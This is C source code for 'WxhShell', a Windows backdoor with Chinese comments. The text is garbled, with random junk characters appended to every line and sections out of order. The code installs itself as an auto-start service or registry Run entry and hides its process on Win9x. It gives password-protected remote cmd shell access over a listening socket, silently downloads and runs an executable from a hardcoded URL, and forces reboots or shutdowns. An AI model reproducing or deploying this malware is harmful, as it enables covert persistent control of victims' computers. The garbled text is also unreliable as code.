    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SN]g4}K-  
    else { Ln t 1  
    closesocket(wsh); <XQwu*_\  
    ExitThread(0); (m6V)y  
    } [cco/=c  
    break; lcy<taNu)  
    } j9l32<h7]  
  // 获取shell '#h ORQB  
  case 's': { 5-y*]:g(  
    CmdShell(wsh); LrT EF j  
    closesocket(wsh); U^7bj  
    ExitThread(0); *HUXvX|-%  
    break; w%8y5v5  
  } qDYNY`  
  // 退出 1U/RMN3`  
  case 'x': { )RT?/NW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ([}08OW@  
    CloseIt(wsh); 9[;da  
    break; }WaZ+Mdg\  
    } "qd|!:bE  
  // 离开 gPb.%^p  
  case 'q': { >3@3~F%xAX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jT}={[9b  
    closesocket(wsh); MtaGv#mJ  
    WSACleanup(); ^m&I^ \  
    exit(1); :8hI3]9  
    break; Rb.vyQ  
        } 6>oc,=MV/  
  } MIn_?r  
  } vSC1n8 /  
cjJfxD&q  
  // 提示信息 +ima$a0Zyt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *YL86R+U  
} '4<o&b^yQ  
  } %ut 8/T  
|R _rfJh  
  return; Tjq1[Wq  
} 3Ovx)qKxd  
n6+h;+8;]  
// shell模块句柄 T!ZjgCY}  
int CmdShell(SOCKET sock)  WZY+c  
{ (RV#piM  
STARTUPINFO si; >}%#s`3W1_  
ZeroMemory(&si,sizeof(si)); AvB=/p@]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IZ7o6Etti  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _ +NjfF|  
PROCESS_INFORMATION ProcessInfo; 2xflRks  
char cmdline[]="cmd"; ybw\^t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pGjwI3_K  
  return 0; , ?U)mYhI  
} 6]~/`6Dub  
\Ta5c31S+  
// 自身启动模式 PJ0~ymE1~G  
int StartFromService(void) ]%HxzJ  
{ FHw%ynC  
typedef struct Mms|jF oQ  
{ vxTn  
  DWORD ExitStatus; _:=\h5}8  
  DWORD PebBaseAddress; #dL,d6a  
  DWORD AffinityMask; rKUtTj  
  DWORD BasePriority; 'jfE?ngt  
  ULONG UniqueProcessId; d"06 gp  
  ULONG InheritedFromUniqueProcessId; cWZITT{A  
}   PROCESS_BASIC_INFORMATION; tWTHyL  
#~)A#~4O  
PROCNTQSIP NtQueryInformationProcess; _.Hj:nFHz  
5X=1a*2']  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zk((VZ(y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R20 .dA_N  
G3io!XM)D  
  HANDLE             hProcess; [,,@>nyD  
  PROCESS_BASIC_INFORMATION pbi; $"W[e"Q  
{$hWz(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nPdkvs   
  if(NULL == hInst ) return 0; zGR, }v%%  
-d A9x~o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R/Bjc}J'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $cHU,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kY\faWuR  
Nh}-6|M  
  if (!NtQueryInformationProcess) return 0; ))f@9m  
Rw{' O]Q*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -Pp{aF e  
  if(!hProcess) return 0; pxgf%P<7  
R}gdN-941  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \efDY[j/  
S',h*e  
  CloseHandle(hProcess); cB){b'WJ  
r=0PW_r:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |ugdl|f  
if(hProcess==NULL) return 0; SyVXXk 0  
#%@bZ f  
HMODULE hMod; ?.Vuet  
char procName[255]; CLzF84@W=  
unsigned long cbNeeded; hS8M|_  
T&dNjx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H\oxj,+N  
]jxyaE&%4  
  CloseHandle(hProcess); N^$q;%  
mc%. 8i  
if(strstr(procName,"services")) return 1; // 以服务启动 nUpj+F#  
Q4-d|  
  return 0; // 注册表启动 7FcZxu\  
} ]pBEoktp  
DSqA}r  
// 主模块 9DhM 9VU  
int StartWxhshell(LPSTR lpCmdLine) ygnZ9ikh<-  
{ hRX9Du`$  
  SOCKET wsl; 0.x+ H9z  
BOOL val=TRUE; e8("G[P >  
  int port=0; Z,2?TT|p  
  struct sockaddr_in door; \#]%S/_ A  
Mb2a;s  
  if(wscfg.ws_autoins) Install(); z@3gNY&7.8  
lwX9:[Z  
port=atoi(lpCmdLine); !9PAfi?  
.8^mA1fmX  
if(port<=0) port=wscfg.ws_port; z0 /+P  
Z40k>t D  
  WSADATA data; nc:/GxP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0SYJ*7lPX  
S?JCi =  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7V::P_aUY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xIm2t~io  
  door.sin_family = AF_INET; rtz-kQ38R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X,l7>>L{g  
  door.sin_port = htons(port); xbhHP2F |  
8A&N+sT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b'+Wf#.]f0  
closesocket(wsl); C] mp <  
return 1; i=#\`"/  
} - @>]iBl  
|e@1@q(a[]  
  if(listen(wsl,2) == INVALID_SOCKET) { Q2ne]MI  
closesocket(wsl); L;")C,CwQ  
return 1; \-]Jm[]^  
} GBb8 }lx  
  Wxhshell(wsl); I\6C0x  
  WSACleanup(); 2QbKh)   
eR5q3E/;G  
return 0; eC"e v5v  
A+M4=  
} /} PdO  
m}?jU  
// 以NT服务方式启动 b}Gm{;s!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L]z8'n,  
{ YT!iI   
DWORD   status = 0; @-S7)h>~  
  DWORD   specificError = 0xfffffff; Fz(;Eo3  
N\ Mdia  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4h!yh2c..  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A,EG0yb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8Gy]nD  
  serviceStatus.dwWin32ExitCode     = 0; 2EpQ(G J  
  serviceStatus.dwServiceSpecificExitCode = 0; h )Y .jY  
  serviceStatus.dwCheckPoint       = 0; y|O3*`&m  
  serviceStatus.dwWaitHint       = 0; T DR|*Cs  
Q3l>xh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V)~b+D  
  if (hServiceStatusHandle==0) return; `Z>=5:+G@2  
n-M6~   
status = GetLastError(); >qy62:co  
  if (status!=NO_ERROR) ]Whv%  
{ 3n7>qZ.d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SHPDbBS  
    serviceStatus.dwCheckPoint       = 0; X1B)(|7$  
    serviceStatus.dwWaitHint       = 0; l^bak]9 1  
    serviceStatus.dwWin32ExitCode     = status; ?E!M%c@,  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^^ix4[1$Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J#wf`VR%  
    return; ,|$1(z*a{c  
  } 9s5s;ntz"  
ck `td%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YR\(*LJL  
  serviceStatus.dwCheckPoint       = 0; [AFR \{  
  serviceStatus.dwWaitHint       = 0; 3 +'vNc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fI;nVRf p  
}  ) 4t%?wT  
#s\yO~F-  
// 处理NT服务事件,比如:启动、停止 ~P}ng{x4z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cy6YajOk7  
{ 9 AD*  
switch(fdwControl) Da[#X`Kp$  
{ 3%9XJ]Qao  
case SERVICE_CONTROL_STOP: |a7Kn/[`,  
  serviceStatus.dwWin32ExitCode = 0; L:&'z:,<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e`LvHU_0  
  serviceStatus.dwCheckPoint   = 0; %F150$(D  
  serviceStatus.dwWaitHint     = 0; \>oy2{=;'  
  { oc-&}R4=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GJU(1%-  
  } imM#zy  
  return; 9f& !Uw_W  
case SERVICE_CONTROL_PAUSE: X*7VDt=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,tZL"  
  break; EY)?hJS,  
case SERVICE_CONTROL_CONTINUE: n|H8O3@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'tMD=MH  
  break; !} x-o`a5  
case SERVICE_CONTROL_INTERROGATE: mBye)q$  
  break; mmjWLrhlu  
}; ?vWF[ DRd'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ j'm2BA O  
} 1jzu-s ,F  
G 9 &,`  
// 标准应用程序主函数 7ieAd/:_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w ?"M  
{ (O!CH N!:  
g*_n|7pB  
// 获取操作系统版本 }vP(SF 6  
OsIsNt=GetOsVer(); O`_, _  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )j}#6r  
)J yB  
  // 从命令行安装 FnOa hLS  
  if(strpbrk(lpCmdLine,"iI")) Install(); >U\P^yU  
]T5\LNyN  
  // 下载执行文件 |DsT $ ~D  
if(wscfg.ws_downexe) { Dh}d-m_5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5(1c?biP&  
  WinExec(wscfg.ws_filenam,SW_HIDE); :>ca).cjac  
} b O}&i3.L;  
k]-Q3 V  
if(!OsIsNt) { ;c|_z 9+  
// 如果时win9x,隐藏进程并且设置为注册表启动 l%0-W  
HideProc(); c*<BU6y  
StartWxhshell(lpCmdLine); "ig)7X+Wz|  
} ~A%+oa*2~  
else ?c"i V  
  if(StartFromService()) M|@@ LJ'  
  // 以服务方式启动 ] NW_oRH  
  StartServiceCtrlDispatcher(DispatchTable); Hv' OO@z  
else +S#Xm4  
  // 普通方式启动 #_3ZF"[zq  
  StartWxhshell(lpCmdLine); /`#JM  
{ktwX\z  
return 0; NTK9`#SA  
} =%I;Y& K  
-#4QY70H t  
3 Sf':N`u  
%<O~eXY  
=========================================== O\=Zo9(NHF  
jc !V|w^  
%ib7)8Ki0  
z wwJyy%/  
nu|,wE!i  
f4 +P2j  
" XXwo(trs~=  
g&. OJ  
#include <stdio.h> e6 <9`Xg  
#include <string.h> TZg1,Z  
#include <windows.h> t1yfSStp  
#include <winsock2.h> >@a7Zzl0H  
#include <winsvc.h> F_/ra?WVH  
#include <urlmon.h> 9@Cu5U]  
k %sxA  
#pragma comment (lib, "Ws2_32.lib") P,G :9x"e  
#pragma comment (lib, "urlmon.lib") 5w~J"P6jg  
c;a<nTLn  
#define MAX_USER   100 // 最大客户端连接数 sUiO~<Ozpk  
#define BUF_SOCK   200 // sock buffer oxnI/Z  
#define KEY_BUFF   255 // 输入 buffer V`c,U7[/  
IQd~` G  
#define REBOOT     0   // 重启 Tgla_sMb  
#define SHUTDOWN   1   // 关机 b8%TwYp  
{od@S l  
#define DEF_PORT   5000 // 监听端口 QWt3KW8)  
Azr|cKu]  
#define REG_LEN     16   // 注册表键长度 d}|z+D  
#define SVC_LEN     80   // NT服务名长度 T>hm\!  
XW2ZQMos1  
// 从dll定义API 5xj8^W^G9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "So "oT1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (?GW/pLK]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1BP/,d |+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sS4V(:3s  
t -}IKrbv  
// wxhshell配置信息 ![I|hB  
struct WSCFG { Dwr"-  
  int ws_port;         // 监听端口 OP=-fX|*Q  
  char ws_passstr[REG_LEN]; // 口令 i ;Kax4k  
  int ws_autoins;       // 安装标记, 1=yes 0=no '9Q#%E!*  
  char ws_regname[REG_LEN]; // 注册表键名 =E(ed,gH8  
  char ws_svcname[REG_LEN]; // 服务名 oSYbx:2wo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JIYzk]Tj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 68<W6z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _sL;E<)y(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U(OkTJxv+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tt6GtYrC 1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +nB0O/m'U  
RHbbj}B  
}; x]R0zol  
]!jfrj  
// default Wxhshell configuration {(t R<z)  
struct WSCFG wscfg={DEF_PORT, /9Qr1@&v  
    "xuhuanlingzhe", ]HXHz(?;F  
    1, Oc.8d<  
    "Wxhshell", \;Q!}_ K  
    "Wxhshell", 6rCUq  
            "WxhShell Service", *]Cyc<  
    "Wrsky Windows CmdShell Service", 6iHY{WcDj  
    "Please Input Your Password: ", -Oz! GX  
  1, J!3;\  
  "http://www.wrsky.com/wxhshell.exe", utn,`v   
  "Wxhshell.exe" _^ n>kLd$  
    }; *xj2Z,u  
^Q+z^zlC  
// 消息定义模块 |942#rM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z0XQ|gkH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <y7Hy&&y-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -H|!KnR  
char *msg_ws_ext="\n\rExit."; YV>&v.x0;  
char *msg_ws_end="\n\rQuit."; d@b2XCh<K  
char *msg_ws_boot="\n\rReboot..."; eE;j#2SEO  
char *msg_ws_poff="\n\rShutdown..."; VpY,@qh  
char *msg_ws_down="\n\rSave to "; 8b4? O"  
jJ'NYG  
char *msg_ws_err="\n\rErr!"; "&;X/~j  
char *msg_ws_ok="\n\rOK!"; *M>~$h7  
:2wT)wz  
char ExeFile[MAX_PATH]; *1:kIi7_  
int nUser = 0; 7;r3Bxa Q  
HANDLE handles[MAX_USER]; 8$IUit h  
int OsIsNt; id`RscV]  
>f1fvv6  
SERVICE_STATUS       serviceStatus; `JGW8 _  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %t74*cX  
#~qza ETv,  
// 函数声明 fwUF5Y  
int Install(void); $DnR[V}rR!  
int Uninstall(void); &wu1Zz[qcz  
int DownloadFile(char *sURL, SOCKET wsh); ^AXH}g  
int Boot(int flag); _c:th{*  
void HideProc(void); ,K PrUM}  
int GetOsVer(void);  Yg2P(  
int Wxhshell(SOCKET wsl); #8BI`.t)j  
void TalkWithClient(void *cs); X_Pbbx_j  
int CmdShell(SOCKET sock); z-sq9Qp&x  
int StartFromService(void); D+q z`  
int StartWxhshell(LPSTR lpCmdLine); Z^WI~B0nt  
YzEOfHL,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1C*mR%Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YZ<5-C  
k!WeE#"(  
// 数据结构和表定义 2$o\`^dy  
SERVICE_TABLE_ENTRY DispatchTable[] = x>A[~s"|N  
{ m<*+^JN  
{wscfg.ws_svcname, NTServiceMain}, :eevc7  
{NULL, NULL} ]zIIi%  
};  >Af0S;S  
t9lf=+%s  
// 自我安装 <1_3`t  
int Install(void) qn}VW0!  
{ iVmy|ewd  
  char svExeFile[MAX_PATH]; wCj)@3F  
  HKEY key; hwi_=-SL  
  strcpy(svExeFile,ExeFile); pm[i#V<v  
66_=bd(9  
// 如果是win9x系统,修改注册表设为自启动 |X6R 2I  
if(!OsIsNt) { Rz*GRe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <KoOJMx(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [W3sveqj&  
  RegCloseKey(key); e$rPXRf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T+%P+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #)S&Z><<  
  RegCloseKey(key); 7lwFxP5QT  
  return 0; aQ&K a  
    } XSh [#qJ  
  } &W `7 b<  
} ]z# Ita;  
else { hC]:+.Q+  
;!3: 3;  
// 如果是NT以上系统,安装为系统服务 P1$D[aF9$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dAM]ZR<  
if (schSCManager!=0) [ThAv Q_$  
{ L EFLKC  
  SC_HANDLE schService = CreateService xv%]g= Q  
  ( iYlkc  
  schSCManager, W}%[i+  
  wscfg.ws_svcname, 6%wlz%Fp  
  wscfg.ws_svcdisp, "t-9q  
  SERVICE_ALL_ACCESS, W!+=`[Ff  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;Uy}(  
  SERVICE_AUTO_START, r-]%R:U*  
  SERVICE_ERROR_NORMAL, )?6%d  
  svExeFile, ={o)82LV  
  NULL, lB#7j  
  NULL, 5as5{"l  
  NULL, 'cc{sjG  
  NULL, "\5 T  6  
  NULL GsiKL4|mj  
  ); h1f 05  
  if (schService!=0) HoeW6UV  
  { T;S6<J  
  CloseServiceHandle(schService); ]kO|kIs  
  CloseServiceHandle(schSCManager); VAqZ`y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .}(X19R  
  strcat(svExeFile,wscfg.ws_svcname); |PGTP#O<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 95ix~cH3q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TWfk r  
  RegCloseKey(key); Ya!PV&"Z  
  return 0; <l eE.hhf.  
    } ;Qc^xIPy  
  } WQB V~.<Yv  
  CloseServiceHandle(schSCManager); G%K&f1q%  
} xNLgcb@v>  
} @`iz0DPG?Y  
la^K|!|  
return 1; _({wJ$aYC  
} # 00?]6`z  
{V8uk $  
// 自我卸载 u?'J1\z  
int Uninstall(void) p$*P@qm  
{ 4jjo%N  
  HKEY key; }I18|=TB  
J(P'!#z^  
if(!OsIsNt) { DH4IF i>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s;sr(34  
  RegDeleteValue(key,wscfg.ws_regname); ^ _W] @m2  
  RegCloseKey(key); j^h:*rw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J'k^(ZZ  
  RegDeleteValue(key,wscfg.ws_regname); 8VC%4+.FF  
  RegCloseKey(key); tOo\s&j  
  return 0; S?c<Lf~W  
  } f=7[GZoDn  
} ,8!'jE[d  
} = U[$i"+  
else { H%i [;  
2NB $(4/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8CH9&N5W5t  
if (schSCManager!=0) 6#a82_  
{ C+dz0u3s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g*w}m>O  
  if (schService!=0) JLg/fB3%  
  {  OAgZeK$  
  if(DeleteService(schService)!=0) { )XoMOz  
  CloseServiceHandle(schService); t{`krs``  
  CloseServiceHandle(schSCManager); /neY2D6  
  return 0; 6 tB\X^  
  } ~Qf\DTM&  
  CloseServiceHandle(schService); k$kxw_N5d  
  } Q~KzcB<  
  CloseServiceHandle(schSCManager); } na@gn  
} S5YEz XG  
} )lJi7 ^,  
]c]^(C  
return 1; 3/]~#y%2  
} _p^Wc.[~M  
_!w69>Nj  
// 从指定url下载文件 9Q 7342  
int DownloadFile(char *sURL, SOCKET wsh) KJs`[,;<  
{ Kb'4W-&u!  
  HRESULT hr; +HgyM0LFg  
char seps[]= "/"; en6;I[\  
char *token; Q9;VSF)  
char *file; m9\~dD  
char myURL[MAX_PATH]; [<d_#(]h'  
char myFILE[MAX_PATH]; +G,_|C2J  
_@ g\.7@0G  
strcpy(myURL,sURL); a :cfr*IsK  
  token=strtok(myURL,seps); YtXd>@7  
  while(token!=NULL) Oh,Xjel  
  { #5iwDAw:|r  
    file=token; $Yw~v36`t/  
  token=strtok(NULL,seps); 8>xd  
  } ,8cVv->u/  
Y@ vC!C  
GetCurrentDirectory(MAX_PATH,myFILE); ~aXJ5sY"f&  
strcat(myFILE, "\\"); ,kl``w|1M  
strcat(myFILE, file); *)vy%\  
  send(wsh,myFILE,strlen(myFILE),0); R0|4KT-i  
send(wsh,"...",3,0); ;hh.w??  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -M4VC^_  
  if(hr==S_OK) IIF <Zkpb  
return 0; pOj8-rr  
else CBz=-Xr  
return 1; ]u:Ij|.'y0  
kxmsrQ>av  
} 90ov[|MkM  
_lC0XDZ  
// 系统电源模块 "{c@}~  
int Boot(int flag) h8;H<Y;yQ  
{ ]LMtZUz  
  HANDLE hToken; %zhSSB =BJ  
  TOKEN_PRIVILEGES tkp; 3T[zieX  
czB),vooz  
  if(OsIsNt) { b'vIX< g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _ D"S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :8N{;aui  
    tkp.PrivilegeCount = 1; IYr}%:P)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;1>V7+/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZmJ<FF4  
if(flag==REBOOT) { OM`Ws5W}f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i@ 86Ez  
  return 0; D r"PS >.  
} =Wz)(N  
else { A7T(p7pP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k,ezB+  
  return 0; Qv)DSl  
} + +Eu.W;&#  
  } ME.!l6lm\  
  else { J0o,ZH9  
if(flag==REBOOT) { <~u-zaN<W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3{TE6&HIa  
  return 0; zy|h1 .gd  
} S%wd Xe  
else { pr1kYMrqri  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l7Wdbx5x0  
  return 0; M<SVH_  
} e+?;Dc-SJ\  
} tJm1Q#||  
r?pN-x$M=  
return 1; 3-)R'  
} gf^y3F[\  
c(!pcB8  
// win9x进程隐藏模块 6QNZ/Ox:  
void HideProc(void) q 2;CvoF  
{ 9S<V5$}  
:W+%jn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >D_)z/v?"  
  if ( hKernel != NULL ) s%A?B 8,  
  { aPX'CG4m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 14(ct  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hE'>8{  
    FreeLibrary(hKernel); x Vw1  
  } ]@CXUa,>a  
0%yPuY>  
return; w BoP&l  
} ~b%dBn]n>  
is^5TL%@  
// 获取操作系统版本 4.>y[_vu  
int GetOsVer(void) 7dOpJjv?)  
{ *|gl1S  
  OSVERSIONINFO winfo; P~PM$e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f9O_M1=|lo  
  GetVersionEx(&winfo); bP%X^q~]A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E#cu}zi  
  return 1; b{ tp qNm~  
  else t7*F,  
  return 0; }{[JS=A^  
} Yqv!ZJ6  
 O@skd2  
// 客户端句柄模块 " ^!=e72  
int Wxhshell(SOCKET wsl) F3x*dq2  
{ UgOhx- 8  
  SOCKET wsh; ziv+*Qn_b4  
  struct sockaddr_in client; ?ea5k*#a  
  DWORD myID; Ml )<4@  
sXY{g0%  
  while(nUser<MAX_USER) ^Of\l:q*  
{ g``S SU  
  int nSize=sizeof(client); c4bvJy8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7Oi<_b  
  if(wsh==INVALID_SOCKET) return 1; t&IWKu#  
>;}(? +|f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XMaw:Fgr  
if(handles[nUser]==0) fe}RmnAC  
  closesocket(wsh); IU"8.(;o  
else 2/x~w~3U  
  nUser++; :]LW,Eql  
  } C\0,D9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sGa "  
@[Wf!8_  
  return 0; INRRA  
} MYVb !  
^Gi WU +`  
// 关闭 socket ;x/. 8fA  
void CloseIt(SOCKET wsh) [lz H%0 V  
{ z*o2jz?t4  
closesocket(wsh); \JP9lJ3<  
nUser--; 8rNf4]5@X(  
ExitThread(0); }$ a *XY1  
} J?jxD/9Yb  
v(,YqT>q@U  
// 客户端请求句柄 m`4N1egCt  
void TalkWithClient(void *cs) vJ;0%;eu[!  
{ BM87f:d  
`'pfBVBz  
  SOCKET wsh=(SOCKET)cs; WISK-z  
  char pwd[SVC_LEN]; 9|K :\!7  
  char cmd[KEY_BUFF]; ,,?XGx  
char chr[1]; gU?M/i2  
int i,j; )H&ZHaO,_  
G%CS1#  
  while (nUser < MAX_USER) { \^lDd~MWG  
G420o}q  
if(wscfg.ws_passstr) { V)I Tk \  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |w>d]eA5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a24(9(yh  
  //ZeroMemory(pwd,KEY_BUFF); G}nj 71=H  
      i=0; BNixp[Hc  
  while(i<SVC_LEN) { U:|:Y=O?Q  
O1oh,~W  
  // 设置超时 b >'c   
  fd_set FdRead; V\AF%=6}  
  struct timeval TimeOut; g c<Y?a-  
  FD_ZERO(&FdRead); O44Fj)  
  FD_SET(wsh,&FdRead); )0=H)k0  
  TimeOut.tv_sec=8; 7&Ie3[Rm_3  
  TimeOut.tv_usec=0; C`8.8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $wk(4W8E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `a@YbuLd  
^[q/w<_j~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l4^MYwFR{O  
  pwd=chr[0]; i~m;Ah,#  
  if(chr[0]==0xd || chr[0]==0xa) { +0:]KG!Zs.  
  pwd=0; A=np ?wc  
  break; %KR2Vlh0  
  } v\5`n@}4  
  i++; (?P\;yDG  
    } #_:%Y d  
L; <Pod  
  // 如果是非法用户,关闭 socket MO|8A18B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hE +M|#o  
}  |  
>{"E~U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &InFC5A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cfHtUv  
!@FzP@  
while(1) { 9ol&p>  
RZ?abE8  
  ZeroMemory(cmd,KEY_BUFF); /WIH#M  
<Q_E3lQy/  
      // 自动支持客户端 telnet标准   J #;|P-pt  
  j=0; $qiM_06  
  while(j<KEY_BUFF) { 2xv[cpVi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W O'nW  
  cmd[j]=chr[0];  >Xxi2Vy  
  if(chr[0]==0xa || chr[0]==0xd) { t~Q j$:\  
  cmd[j]=0; ye4GHAm,p  
  break; L!Gpk)}[i  
  } e8k|%m<Sp  
  j++; 5GURfG3{  
    } ".kH5(:  
+*wo iSD  
  // 下载文件 H2yPVJ\Y)"  
  if(strstr(cmd,"http://")) { cEGR?4z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m-Qy6"eW  
  if(DownloadFile(cmd,wsh)) X:QRy9]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y"TrF(C  
  else <9S5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #`%V/#YK  
  } b{.Y?.U  
  else { sRC?l_n;  
K}p0$Lc  
    switch(cmd[0]) { EfX,0NqT  
  ksyQ_4^SO  
